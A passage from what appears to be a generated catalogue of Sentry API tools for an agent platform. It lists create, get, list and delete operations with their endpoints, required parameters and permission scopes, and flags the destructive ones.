/api/v1/tools/sentry/bulk-update-project-environments. Scopes: project:admin. sentry_create_an_external_issue_and_link_it_to_an_issue (write) — Create a new issue in the external provider (such as a Jira ticket or GitHub issue) and link it to the given Sentry issue. The accepted fields are integration-specific; fetch them from the `createIssueConfig` returned by the `GET` endpoint with... POST /api/v1/tools/sentry/create-an-external-issue-and-link-it-to-an-issue. Scopes: event:admin. sentry_create_or_update_an_external_issue (write) — Create or update an external issue from an integration platform integration. POST /api/v1/tools/sentry/create-or-update-an-external-issue. Scopes: event:write. sentry_create_organization_dashboard (write) — Create a New Dashboard for an Organization POST /api/v1/tools/sentry/create-organization-dashboard. Scopes: org:admin. sentry_create_organization_discover_saved_query (write) — Create a New Saved Query. POST /api/0/organizations/{organization_id_or_slug}/discover/saved/ on Sentry. Requires organization_id_or_slug, name. POST /api/v1/tools/sentry/create-organization-discover-saved-query. Scopes: org:admin. sentry_create_organization_external_user (write) — Create an External User. POST /api/0/organizations/{organization_id_or_slug}/external-users/ on Sentry. Requires organization_id_or_slug, user_id, external_name, provider, integration_id. POST /api/v1/tools/sentry/create-organization-external-user. Scopes: org:admin. sentry_create_organization_forwarding (write) — Create a Data Forwarder for an Organization POST /api/v1/tools/sentry/create-organization-forwarding. Scopes: org:write. sentry_create_organization_monitor (write) — Create a Monitor. POST /api/0/organizations/{organization_id_or_slug}/monitors/ on Sentry. Requires organization_id_or_slug, project, name, config. POST /api/v1/tools/sentry/create-organization-monitor. Scopes: alerts:write. sentry_create_organization_notifications_action (write) — Create a Spike Protection Notification Action POST /api/v1/tools/sentry/create-organization-notifications-action. Scopes: org:admin. sentry_create_organization_project (write) — Create a Project for an Organization. POST /api/0/organizations/{organization_id_or_slug}/projects/ on Sentry. Requires organization_id_or_slug, name. POST /api/v1/tools/sentry/create-organization-project. Scopes: project:admin. sentry_create_organization_project_detector (write) — Create a Monitor for a Project. POST /api/0/organizations/{organization_id_or_slug}/projects/{project_id_or_slug}/detectors/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, name, type. POST /api/v1/tools/sentry/create-organization-project-detector. Scopes: alerts:write. sentry_create_organization_release (write) — Create a New Release for an Organization POST /api/v1/tools/sentry/create-organization-release. Scopes: org:ci. sentry_create_organization_release_deploy (write) — Create a Deploy. POST /api/0/organizations/{organization_id_or_slug}/releases/{version}/deploys/ on Sentry. Requires organization_id_or_slug, version, environment. POST /api/v1/tools/sentry/create-organization-release-deploy. Scopes: org:ci. sentry_create_organization_team (write) — Create a New Team. POST /api/0/organizations/{organization_id_or_slug}/teams/ on Sentry. Requires organization_id_or_slug. POST /api/v1/tools/sentry/create-organization-team. Scopes: org:admin. sentry_create_organization_workflow (write) — Create an Alert for an Organization. POST /api/0/organizations/{organization_id_or_slug}/workflows/ on Sentry. Requires organization_id_or_slug, name. POST /api/v1/tools/sentry/create-organization-workflow. Scopes: alerts:write. sentry_create_project_key (write) — Create a New Client Key. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/keys/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. POST /api/v1/tools/sentry/create-project-key. Scopes: project:admin. sentry_create_project_preprod_size_analysis_skipped_status_check (write) — Create a skipped Size Analysis status check POST /api/v1/tools/sentry/create-project-preprod-size-analysis-skipped-status-check. Scopes: org:ci. sentry_create_project_preprod_snapshot_skipped_status_check (write) — Create a skipped Snapshot status check. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/preprod/snapshots/status-checks/skip/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, sha, repository, provider. POST /api/v1/tools/sentry/create-project-preprod-snapshot-skipped-status-check. Scopes: org:ci. sentry_create_project_replay_deletion_job (write) — Create Replay Batch Deletion Job. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/jobs/delete/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, data. POST /api/v1/tools/sentry/create-project-replay-deletion-job. Scopes: project:admin. sentry_create_team_external_team (write) — Create an External Team. POST /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/external-teams/ on Sentry. Requires organization_id_or_slug, team_id_or_slug, external_name, provider, integration_id. POST /api/v1/tools/sentry/create-team-external-team. Scopes: team:admin. sentry_create_team_project (write) — Create a New Project. POST /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/projects/ on Sentry. Requires organization_id_or_slug, team_id_or_slug, name. POST /api/v1/tools/sentry/create-team-project. Scopes: project:admin. sentry_delete_an_external_issue (write, destructive) — DESTRUCTIVE — Delete an external issue. DELETE /api/0/sentry-app-installations/{uuid}/external-issues/{external_issue_id}/ on Sentry. Requires uuid, external_issue_id. POST /api/v1/tools/sentry/delete-an-external-issue. Scopes: event:admin. sentry_delete_organization_dashboard (write, destructive) — DESTRUCTIVE - Delete an Organization's Custom Dashboard POST /api/v1/tools/sentry/delete-organization-dashboard. Scopes: org:admin. sentry_delete_organization_detector (write, destructive) — DESTRUCTIVE — Delete a Monitor. DELETE /api/0/organizations/{organization_id_or_slug}/detectors/{detector_id}/ on Sentry. Requires organization_id_or_slug, detector_id. POST /api/v1/tools/sentry/delete-organization-detector. Scopes: alerts:write. sentry_delete_organization_detectors (write, destructive) — DESTRUCTIVE — Bulk Delete Monitors. DELETE /api/0/organizations/{organization_id_or_slug}/detectors/ on Sentry. Requires organization_id_or_slug. POST /api/v1/tools/sentry/delete-organization-detectors. Scopes: alerts:write. sentry_delete_organization_discover_saved_query (write, destructive) — DESTRUCTIVE - Delete an Organization's Discover Saved Query POST /api/v1/tools/sentry/delete-organization-discover-saved-query. Scopes: org:admin. sentry_delete_organization_external_user (write, destructive) — DESTRUCTIVE — Delete an External User. DELETE /api/0/organizations/{organization_id_or_slug}/external-users/{external_user_id}/ on Sentry. Requires organization_id_or_slug, external_user_id. POST /api/v1/tools/sentry/delete-organization-external-user. Scopes: org:admin. sentry_delete_organization_forwarding (write, destructive) — DESTRUCTIVE - Delete a Data Forwarder for an Organization POST /api/v1/tools/sentry/delete-organization-forwarding. Scopes: org:write. sentry_delete_organization_integration (write, destructive) — DESTRUCTIVE - Delete an Integration for an Organization POST /api/v1/tools/sentry/delete-organization-integration. Scopes: org:admin. sentry_delete_organization_issue (write, destructive) — DESTRUCTIVE — Remove an Issue. DELETE /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/ on Sentry. Requires organization_id_or_slug, issue_id. POST /api/v1/tools/sentry/delete-organization-issue. Scopes: event:admin. sentry_delete_organization_issues (write, destructive) — DESTRUCTIVE - Bulk Remove an Organization's Issues POST /api/v1/tools/sentry/delete-organization-issues. Scopes: event:admin. sentry_delete_organization_member (write, destructive) — DESTRUCTIVE - Delete an Organization Member POST /api/v1/tools/sentry/delete-organization-member. Scopes: member:admin. sentry_delete_organization_member_team (write, destructive) — DESTRUCTIVE - Delete an Organization Member from a Team POST /api/v1/tools/sentry/delete-organization-member-team. Scopes: org:admin. sentry_delete_organization_monitor (write, destructive) — DESTRUCTIVE - Delete a Monitor or Monitor Environments POST /api/v1/tools/sentry/delete-organization-monitor. Scopes: alerts:write. sentry_delete_organization_notifications_action (write, destructive) — DESTRUCTIVE - Delete a Spike Protection Notification Action POST /api/v1/tools/sentry/delete-organization-notifications-action. Scopes: org:admin. sentry_delete_organization_preprod_artifact_snapshot (write, destructive) — DESTRUCTIVE — Delete a Snapshot. DELETE /api/0/organizations/{organization_id_or_slug}/preprodartifacts/snapshots/{snapshot_id}/ on Sentry. Requires organization_id_or_slug, snapshot_id. POST /api/v1/tools/sentry/delete-organization-preprod-artifact-snapshot. Scopes: project:admin. sentry_delete_organization_release (write, destructive) — DESTRUCTIVE - Delete an Organization's Release POST /api/v1/tools/sentry/delete-organization-release. Scopes: project:admin. sentry_delete_organization_release_file (write, destructive) — DESTRUCTIVE - Delete an Organization Release's File POST /api/v1/tools/sentry/delete-organization-release-file. Scopes: project:admin. sentry_delete_organization_scim_v2_group (write, destructive) — DESTRUCTIVE — Delete an Individual Team. DELETE /api/0/organizations/{organization_id_or_slug}/scim/v2/Groups/{team_id_or_slug} on Sentry. Requires organization_id_or_slug, team_id_or_slug. POST /api/v1/tools/sentry/delete-organization-scim-v2-group. Scopes: team:admin. sentry_delete_organization_scim_v2_user (write, destructive) — DESTRUCTIVE - Delete an Organization Member via SCIM POST /api/v1/tools/sentry/delete-organization-scim-v2-user. Scopes: member:admin. sentry_delete_organization_workflow (write, destructive) — DESTRUCTIVE — Delete an Alert. DELETE /api/0/organizations/{organization_id_or_slug}/workflows/{workflow_id}/ on Sentry. Requires organization_id_or_slug, workflow_id. POST /api/v1/tools/sentry/delete-organization-workflow. Scopes: alerts:write. sentry_delete_organization_workflows (write, destructive) — DESTRUCTIVE — Bulk Delete Alerts. DELETE /api/0/organizations/{organization_id_or_slug}/workflows/ on Sentry. Requires organization_id_or_slug. POST /api/v1/tools/sentry/delete-organization-workflows. Scopes: alerts:write. sentry_delete_project (write, destructive) — DESTRUCTIVE — Delete a Project. DELETE /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. POST /api/v1/tools/sentry/delete-project. Scopes: project:admin. sentry_delete_project_key (write, destructive) — DESTRUCTIVE — Delete a Client Key. DELETE /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/keys/{key_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, key_id. POST /api/v1/tools/sentry/delete-project-key. Scopes: project:admin. sentry_delete_project_monitor (write, destructive) — DESTRUCTIVE - Delete a Monitor or Monitor Environments for a Project POST /api/v1/tools/sentry/delete-project-monitor. Scopes: alerts:write. sentry_delete_project_release_file (write, destructive) — DESTRUCTIVE - Delete a Project Release's File POST /api/v1/tools/sentry/delete-project-release-file. Scopes: project:admin. sentry_delete_project_replay (write, destructive) — DESTRUCTIVE — Delete a Replay Instance. DELETE /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/{replay_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, replay_id. POST /api/v1/tools/sentry/delete-project-replay. Scopes: project:admin. sentry_delete_project_symbol_source (write, destructive) — DESTRUCTIVE - Delete a Symbol Source from a Project POST /api/v1/tools/sentry/delete-project-symbol-source. Scopes: project:admin. sentry_delete_project_team (write, destructive) — DESTRUCTIVE - Delete a Team from a Project POST /api/v1/tools/sentry/delete-project-team. Scopes: project:admin. sentry_delete_sentry_app (write, destructive) — DESTRUCTIVE - Delete a custom integration. POST /api/v1/tools/sentry/delete-sentry-app. Scopes: org:admin. sentry_delete_team (write, destructive) — DESTRUCTIVE — Delete a Team. DELETE /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/ on Sentry. Requires organization_id_or_slug, team_id_or_slug. POST /api/v1/tools/sentry/delete-team. Scopes: team:admin. sentry_delete_team_external_team (write, destructive) — DESTRUCTIVE — Delete an External Team. DELETE /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/external-teams/{external_team_id}/ on Sentry. Requires organization_id_or_slug, team_id_or_slug, external_team_id. POST /api/v1/tools/sentry/delete-team-external-team. Scopes: team:admin. sentry_disable_spike_protection (write, destructive) — DESTRUCTIVE - Disables Spike Protection feature for some of the projects within the organization. POST /api/v1/tools/sentry/disable-spike-protection. Scopes: project:read. sentry_enable_spike_protection (write) — Enables Spike Protection feature for some of the projects within the organization. POST /api/v1/tools/sentry/enable-spike-protection. Scopes: project:read. sentry_get_organization (read) — Retrieve an Organization. GET /api/0/organizations/{organization_id_or_slug}/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/get-organization. Scopes: org:admin. sentry_get_organization_config_integrations (read) — Get Integration Provider Information. GET /api/0/organizations/{organization_id_or_slug}/config/integrations/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/get-organization-config-integrations. Scopes: org:admin. sentry_get_organization_dashboard (read) — Retrieve an Organization's Custom Dashboard GET /api/v1/tools/sentry/get-organization-dashboard. Scopes: org:admin. sentry_get_organization_detector (read) — Fetch a Monitor. GET /api/0/organizations/{organization_id_or_slug}/detectors/{detector_id}/ on Sentry. Requires organization_id_or_slug, detector_id. GET /api/v1/tools/sentry/get-organization-detector. Scopes: alerts:read. sentry_get_organization_discover_saved_query (read) — Retrieve an Organization's Discover Saved Query GET /api/v1/tools/sentry/get-organization-discover-saved-query. Scopes: org:admin. sentry_get_organization_integration (read) — Retrieve an Integration for an Organization GET /api/v1/tools/sentry/get-organization-integration. Scopes: org:admin. sentry_get_organization_issue (read) — Retrieve an Issue. GET /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/ on Sentry. Requires organization_id_or_slug, issue_id. GET /api/v1/tools/sentry/get-organization-issue. Scopes: event:admin. sentry_get_organization_issue_autofix_state (read) — Retrieve Seer Issue Fix State. GET /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/autofix/ on Sentry. Requires organization_id_or_slug, issue_id. GET /api/v1/tools/sentry/get-organization-issue-autofix-state. Scopes: event:admin. sentry_get_organization_issue_event (read) — Retrieve an Issue Event. GET /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/events/{event_id}/ on Sentry. Requires organization_id_or_slug, issue_id, event_id. GET /api/v1/tools/sentry/get-organization-issue-event. Scopes: event:admin. sentry_get_organization_issue_tag (read) — Retrieve Tag Details. GET /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/tags/{key}/ on Sentry. Requires issue_id, organization_id_or_slug, key. GET /api/v1/tools/sentry/get-organization-issue-tag. Scopes: event:admin. sentry_get_organization_member (read) — Retrieve an Organization Member. GET /api/0/organizations/{organization_id_or_slug}/members/{member_id}/ on Sentry. Requires organization_id_or_slug, member_id. GET /api/v1/tools/sentry/get-organization-member. Scopes: member:admin. sentry_get_organization_monitor (read) — Retrieve a Monitor. GET /api/0/organizations/{organization_id_or_slug}/monitors/{monitor_id_or_slug}/ on Sentry. Requires organization_id_or_slug, monitor_id_or_slug. GET /api/v1/tools/sentry/get-organization-monitor. Scopes: alerts:read. sentry_get_organization_notifications_action (read) — Retrieve a Spike Protection Notification Action GET /api/v1/tools/sentry/get-organization-notifications-action. Scopes: org:admin. sentry_get_organization_preprod_artifact_install_details (read) — Retrieve install info for a given artifact GET /api/v1/tools/sentry/get-organization-preprod-artifact-install-details. Scopes: org:admin. sentry_get_organization_preprod_artifact_size_analysis (read) — Retrieve Size Analysis results for a given artifact GET /api/v1/tools/sentry/get-organization-preprod-artifact-size-analysis. Scopes: org:admin. sentry_get_organization_preprod_artifact_snapshot (read) — Retrieve Snapshot details. GET /api/0/organizations/{organization_id_or_slug}/preprodartifacts/snapshots/{snapshot_id}/ on Sentry. Requires organization_id_or_slug, snapshot_id. GET /api/v1/tools/sentry/get-organization-preprod-artifact-snapshot. Scopes: org:ci. sentry_get_organization_preprod_artifact_snapshot_image (read) — Retrieve Snapshot image detail. GET /api/0/organizations/{organization_id_or_slug}/preprodartifacts/snapshots/{snapshot_id}/images/{image_identifier}/ on Sentry. Requires organization_id_or_slug, snapshot_id, image_identifier. GET /api/v1/tools/sentry/get-organization-preprod-artifact-snapshot-image. Scopes: org:ci. sentry_get_organization_preprod_artifact_snapshot_latest_base (read) — Retrieve latest base Snapshot. GET /api/0/organizations/{organization_id_or_slug}/preprodartifacts/snapshots/latest-base/ on Sentry. Requires organization_id_or_slug, app_id. GET /api/v1/tools/sentry/get-organization-preprod-artifact-snapshot-latest-base. Scopes: org:ci. sentry_get_organization_profiling_flamegraph (read) — Retrieve a Flamegraph for an Organization GET /api/v1/tools/sentry/get-organization-profiling-flamegraph. Scopes: org:admin. sentry_get_organization_release (read) — Retrieve an Organization's Release. GET /api/0/organizations/{organization_id_or_slug}/releases/{version}/ on Sentry. Requires organization_id_or_slug, version. GET /api/v1/tools/sentry/get-organization-release. Scopes: org:ci. sentry_get_organization_release_file (read) — Retrieve an Organization Release's File. GET /api/0/organizations/{organization_id_or_slug}/releases/{version}/files/{file_id}/ on Sentry. Requires organization_id_or_slug, version, file_id. GET /api/v1/tools/sentry/get-organization-release-file. Scopes: org:ci. sentry_get_organization_replay (read) — Retrieve a Replay Instance. GET /api/0/organizations/{organization_id_or_slug}/replays/{replay_id}/ on Sentry. Requires organization_id_or_slug, replay_id. GET /api/v1/tools/sentry/get-organization-replay. Scopes: org:admin. sentry_get_organization_replay_count (read) — Retrieve a Count of Replays for a Given Issue or Transaction GET /api/v1/tools/sentry/get-organization-replay-count. Scopes: org:admin. sentry_get_organization_scim_v2_group (read) — Query an Individual Team. GET /api/0/organizations/{organization_id_or_slug}/scim/v2/Groups/{team_id_or_slug} on Sentry. Requires team_id_or_slug, organization_id_or_slug. GET /api/v1/tools/sentry/get-organization-scim-v2-group. Scopes: team:admin. sentry_get_organization_scim_v2_user (read) — Query an Individual Organization Member. GET /api/0/organizations/{organization_id_or_slug}/scim/v2/Users/{member_id} on Sentry. Requires organization_id_or_slug, member_id. GET /api/v1/tools/sentry/get-organization-scim-v2-user. Scopes: member:admin. sentry_get_organization_sessions (read) — Retrieve Release Health Session Statistics GET /api/v1/tools/sentry/get-organization-sessions. Scopes: org:admin. sentry_get_organization_stats_summary (read) — Retrieve an Organization's Events Count by Project GET /api/v1/tools/sentry/get-organization-stats-summary. Scopes: org:admin. sentry_get_organization_trace (read) — Retrieve a Trace. GET /api/0/organizations/{organization_id_or_slug}/trace/{trace_id}/ on Sentry. Requires organization_id_or_slug, trace_id. GET /api/v1/tools/sentry/get-organization-trace. Scopes: org:admin. sentry_get_organization_trace_meta (read) — Retrieve Trace Metadata. GET /api/0/organizations/{organization_id_or_slug}/trace-meta/{trace_id}/ on Sentry. Requires organization_id_or_slug, trace_id. GET /api/v1/tools/sentry/get-organization-trace-meta. Scopes: org:admin. sentry_get_organization_workflow (read) — Fetch an Alert. GET /api/0/organizations/{organization_id_or_slug}/workflows/{workflow_id}/ on Sentry. Requires organization_id_or_slug, workflow_id. GET /api/v1/tools/sentry/get-organization-workflow. Scopes: alerts:read. sentry_get_project (read) — Retrieve a Project. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/get-project. Scopes: project:admin. sentry_get_project_environment (read) — Retrieve a Project Environment. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/environments/{environment}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, environment. GET /api/v1/tools/sentry/get-project-environment. Scopes: project:admin. sentry_get_project_event (read) — Retrieve an Event for a Project. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/events/{event_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, event_id. GET /api/v1/tools/sentry/get-project-event. Scopes: project:admin. sentry_get_project_event_attachment (read) — Retrieve an Event Attachment. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/events/{event_id}/attachments/{attachment_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, event_id, attachment_id. GET /api/v1/tools/sentry/get-project-event-attachment. Scopes: project:admin. sentry_get_project_event_source_map_debug (read) — Get Debug Information Related to Source Maps for a Given Event GET /api/v1/tools/sentry/get-project-event-source-map-debug. Scopes: project:admin. sentry_get_project_installable_build_latest (read) — Get the latest installable build for a project GET /api/v1/tools/sentry/get-project-installable-build-latest. Scopes: project:admin. sentry_get_project_key (read) — Retrieve a Client Key. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/keys/{key_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, key_id. GET /api/v1/tools/sentry/get-project-key. Scopes: project:admin. sentry_get_project_monitor (read) — Retrieve a Monitor for a Project. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/monitors/{monitor_id_or_slug}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, monitor_id_or_slug. GET /api/v1/tools/sentry/get-project-monitor. Scopes: alerts:read. sentry_get_project_ownership (read) — Retrieve Ownership Configuration for a Project GET /api/v1/tools/sentry/get-project-ownership. Scopes: project:admin. sentry_get_project_preprod_size_analysis_status_check_rules (read) — Retrieve Size Analysis status check rules for a project GET /api/v1/tools/sentry/get-project-preprod-size-analysis-status-check-rules. Scopes: project:admin. sentry_get_project_preprod_snapshot_status_check_rules (read) — Retrieve Snapshot status check rules for a project GET /api/v1/tools/sentry/get-project-preprod-snapshot-status-check-rules. Scopes: project:admin. sentry_get_project_profiling_profile (read) — Retrieve a Profile. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/profiling/profiles/{profile_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, profile_id. GET /api/v1/tools/sentry/get-project-profiling-profile. Scopes: project:admin. sentry_get_project_release_file (read) — Retrieve a Project Release's File. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/releases/{version}/files/{file_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, version, file_id. GET /api/v1/tools/sentry/get-project-release-file. Scopes: org:ci. sentry_get_project_replay_deletion_job (read) — Retrieve a Replay Batch-Deletion Job. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/jobs/delete/{job_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, job_id. GET /api/v1/tools/sentry/get-project-replay-deletion-job. Scopes: project:admin. sentry_get_project_replay_recording_segment (read) — Retrieve a Recording Segment. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/{replay_id}/recording-segments/{segment_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, replay_id, segment_id. GET /api/v1/tools/sentry/get-project-replay-recording-segment. Scopes: project:admin. sentry_get_sentry_app (read) — Retrieve a custom integration by ID or slug. GET /api/v1/tools/sentry/get-sentry-app. Scopes: event:admin. sentry_get_team (read) — Retrieve a Team. GET /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/ on Sentry. Requires organization_id_or_slug, team_id_or_slug. GET /api/v1/tools/sentry/get-team. Scopes: team:admin. sentry_link_an_existing_external_issue_to_an_issue (write) — Link an issue that already exists in the external provider (such as a Jira ticket or GitHub issue) to the given Sentry issue. Additional accepted fields are integration-specific; fetch them from the `linkIssueConfig` returned by the `GET` endpoint with... POST /api/v1/tools/sentry/link-an-existing-external-issue-to-an-issue. Scopes: event:admin. sentry_link_project_repository (write) — Link a Repository to a Project. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/repo/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, repository_id. POST /api/v1/tools/sentry/link-project-repository. Scopes: project:admin. sentry_list_a_project_s_issues (read) — **Deprecated**: This endpoint has been replaced with the [Organization Issues endpoint](/api/events/list-an-organizations-issues/) which supports filtering on project and additional functionality. Return a list of issues (groups) bound to a project. All... GET /api/v1/tools/sentry/list-a-project-s-issues. Scopes: event:read. sentry_list_a_project_s_service_hooks (read) — Return a list of service hooks bound to a project. GET /api/v1/tools/sentry/list-a-project-s-service-hooks. Scopes: project:read. sentry_list_a_project_s_user_feedback (read) — Return a list of user feedback items within this project. *This list does not include submissions from the [User Feedback Widget](https://docs.sentry.io/product/user-feedback/#user-feedback-widget). This is because it is based on an older format called User... GET /api/v1/tools/sentry/list-a-project-s-user-feedback. Scopes: project:read. sentry_list_a_tag_s_values (read) — Return a list of values associated with this key. The `query` parameter can be used to to perform a "contains" match on values. When [paginated](/api/pagination) can return at most 1000 values. GET /api/v1/tools/sentry/list-a-tag-s-values. Scopes: project:read. sentry_list_an_organization_s_integration_platform_installations (read) — Return a list of integration platform installations for a given organization. GET /api/v1/tools/sentry/list-an-organization-s-integration-platform-installations. Scopes: org:read. sentry_list_organization_dashboards (read) — List an Organization's Custom Dashboards GET /api/v1/tools/sentry/list-organization-dashboards. Scopes: org:admin. sentry_list_organization_detectors (read) — Fetch an Organization's Monitors. GET /api/0/organizations/{organization_id_or_slug}/detectors/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-detectors. Scopes: alerts:read. sentry_list_organization_discover_saved_queries (read) — List an Organization's Discover Saved Queries GET /api/v1/tools/sentry/list-organization-discover-saved-queries. Scopes: org:admin. sentry_list_organization_environments (read) — List an Organization's Environments. GET /api/0/organizations/{organization_id_or_slug}/environments/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-environments. Scopes: org:admin. sentry_list_organization_events (read) — Query Explore Events in Table Format. GET /api/0/organizations/{organization_id_or_slug}/events/ on Sentry. Requires organization_id_or_slug, field, dataset. GET /api/v1/tools/sentry/list-organization-events. Scopes: org:admin. sentry_list_organization_events_timeseries (read) — Query Explore Events in Timeseries Format GET /api/v1/tools/sentry/list-organization-events-timeseries. Scopes: org:admin. sentry_list_organization_forwarding (read) — Retrieve Data Forwarders for an Organization GET /api/v1/tools/sentry/list-organization-forwarding. Scopes: org:read. sentry_list_organization_integrations (read) — List an Organization's Available Integrations GET /api/v1/tools/sentry/list-organization-integrations. Scopes: org:admin. sentry_list_organization_issue_events (read) — List an Issue's Events. GET /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/events/ on Sentry. Requires organization_id_or_slug, issue_id. GET /api/v1/tools/sentry/list-organization-issue-events. Scopes: event:admin. sentry_list_organization_issue_external_issues (read) — Retrieve custom integration issue links for the given Sentry issue GET /api/v1/tools/sentry/list-organization-issue-external-issues. Scopes: event:admin. sentry_list_organization_issue_hashes (read) — List an Issue's Hashes. GET /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/hashes/ on Sentry. Requires organization_id_or_slug, issue_id. GET /api/v1/tools/sentry/list-organization-issue-hashes. Scopes: event:admin. sentry_list_organization_issue_tag_values (read) — List a Tag's Values for an Issue. GET /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/tags/{key}/values/ on Sentry. Requires issue_id, organization_id_or_slug, key. GET /api/v1/tools/sentry/list-organization-issue-tag-values. Scopes: event:admin. sentry_list_organization_issues (read) — List an Organization's Issues. GET /api/0/organizations/{organization_id_or_slug}/issues/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-issues. Scopes: event:admin. sentry_list_organization_members (read) — List an Organization's Members. GET /api/0/organizations/{organization_id_or_slug}/members/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-members. Scopes: member:admin. sentry_list_organization_monitor_checkins (read) — Retrieve Check-Ins for a Monitor. GET /api/0/organizations/{organization_id_or_slug}/monitors/{monitor_id_or_slug}/checkins/ on Sentry. Requires organization_id_or_slug, monitor_id_or_slug. GET /api/v1/tools/sentry/list-organization-monitor-checkins. Scopes: alerts:read. sentry_list_organization_monitors (read) — Retrieve Monitors for an Organization. GET /api/0/organizations/{organization_id_or_slug}/monitors/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-monitors. Scopes: alerts:read. sentry_list_organization_notifications_actions (read) — List Spike Protection Notifications. GET /api/0/organizations/{organization_id_or_slug}/notifications/actions/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-notifications-actions. Scopes: org:admin. sentry_list_organization_profiling_chunks (read) — Retrieve Profile Chunks for an Organization GET /api/v1/tools/sentry/list-organization-profiling-chunks. Scopes: org:admin. sentry_list_organization_project_keys (read) — List an Organization's Client Keys. GET /api/0/organizations/{organization_id_or_slug}/project-keys/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-project-keys. Scopes: org:admin. sentry_list_organization_projects (read) — List an Organization's Projects. GET /api/0/organizations/{organization_id_or_slug}/projects/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-projects. Scopes: org:admin. sentry_list_organization_relay_usage (read) — List an Organization's trusted Relays. GET /api/0/organizations/{organization_id_or_slug}/relay_usage/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-relay-usage. Scopes: org:admin. sentry_list_organization_release_commits (read) — List an Organization Release's Commits. GET /api/0/organizations/{organization_id_or_slug}/releases/{version}/commits/ on Sentry. Requires organization_id_or_slug, version. GET /api/v1/tools/sentry/list-organization-release-commits. Scopes: org:ci. sentry_list_organization_release_deploys (read) — List a Release's Deploys. GET /api/0/organizations/{organization_id_or_slug}/releases/{version}/deploys/ on Sentry. Requires organization_id_or_slug, version. GET /api/v1/tools/sentry/list-organization-release-deploys. Scopes: org:ci. sentry_list_organization_release_files (read) — List an Organization's Release Files. GET /api/0/organizations/{organization_id_or_slug}/releases/{version}/files/ on Sentry. Requires organization_id_or_slug, version. GET /api/v1/tools/sentry/list-organization-release-files. Scopes: org:ci. sentry_list_organization_release_threshold_statuses (read) — Retrieve Statuses of Release Thresholds (Alpha) GET /api/v1/tools/sentry/list-organization-release-threshold-statuses. Scopes: org:ci. sentry_list_organization_releases (read) — List an Organization's Releases. GET /api/0/organizations/{organization_id_or_slug}/releases/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-releases. Scopes: org:ci. sentry_list_organization_replay_selectors (read) — List an Organization's Selectors. GET /api/0/organizations/{organization_id_or_slug}/replay-selectors/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-replay-selectors. Scopes: org:admin. sentry_list_organization_replays (read) — List an Organization's Replays. GET /api/0/organizations/{organization_id_or_slug}/replays/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-replays. Scopes: org:admin. sentry_list_organization_repo_commits (read) — List a Repository's Commits. GET /api/0/organizations/{organization_id_or_slug}/repos/{repo_id}/commits/ on Sentry. Requires organization_id_or_slug, repo_id. GET /api/v1/tools/sentry/list-organization-repo-commits. Scopes: org:admin. sentry_list_organization_repos (read) — List an Organization's Repositories. GET /api/0/organizations/{organization_id_or_slug}/repos/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-repos. Scopes: org:admin. 